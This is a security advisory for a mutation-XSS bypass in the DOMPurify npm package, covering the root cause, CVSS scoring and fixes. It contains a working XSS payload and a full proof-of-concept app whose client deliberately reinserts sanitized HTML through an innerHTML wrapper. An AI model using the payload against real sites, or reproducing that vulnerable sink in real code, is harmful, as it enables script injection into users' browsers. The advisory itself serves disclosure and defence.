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GHSA-h8r8-wccr-v5f2 CVE-2026-65914

DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

Medium npm
Severity
6.9 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.31%
Chance of exploitation in the next 30 days. Higher than 23.56% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Fix
3.3.2
Upgrade dompurify to this version or later

Description

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

  1. Start the PoC app:
npm install
npm start
  1. Open http://localhost:3001.
  2. Set Wrapper en sink to xmp.
  3. Use payload:
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.
  2. Observe:
  • Sanitized response still contains the </xmp> sequence inside alt.
  • The sink reparses to include <img src="x" onerror="alert('expoc')">.
  • alert('expoc') is triggered.
  1. Files:
  • index.html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #0f172a;
        --muted: #475569;
        --accent: #0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #22c55e;
        background: #f0fdf4;
      }

      @media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>
  • server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
  • package.json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

  • PoC

daft-video.webm

  • XSS triggered <img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" />

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

  • Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
  • Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
  • Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

  1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
  2. Keep the rendering context stable from sanitize to sink.
  3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
  4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
  5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Affected versions

npm

PackageVulnerableFixed in
dompurify
< 3.3.2
3.3.2
dompurify
< 3.3.2
3.3.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

dompurify npm → 3.3.2

npm
npm install dompurify@3.3.2
yarn
yarn add dompurify@3.3.2
pnpm
pnpm add dompurify@3.3.2

Severity breakdown

CVSS 4.0 6.9

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
Low
Integrity (subsequent systems)
Low
Availability (subsequent systems)
None

CVSS 3.1 6.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Advisories

Packages

Other links

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-cg2g-xh64-v4q7
DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes
Critical Also affects dompurify
GHSA-mrv2-3pqr-j5jr
DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)
High Also affects dompurify
GHSA-c6gr-qvv4-5v3f
DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml
Medium Also affects dompurify
GHSA-6688-9rhm-gjv2
DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes
Medium Also affects dompurify
GHSA-p98j-92pf-mc4p
DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS
Low Also affects dompurify
GHSA-55q2-fjhq-7xh7
DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS
Medium Also affects dompurify
GHSA-c2j3-45gr-mqc4
DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.
Low Also affects dompurify
GHSA-cmwh-pvxp-8882
DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)
Medium Also affects dompurify

Credits: caverav, researchatfluidattacks, tachote

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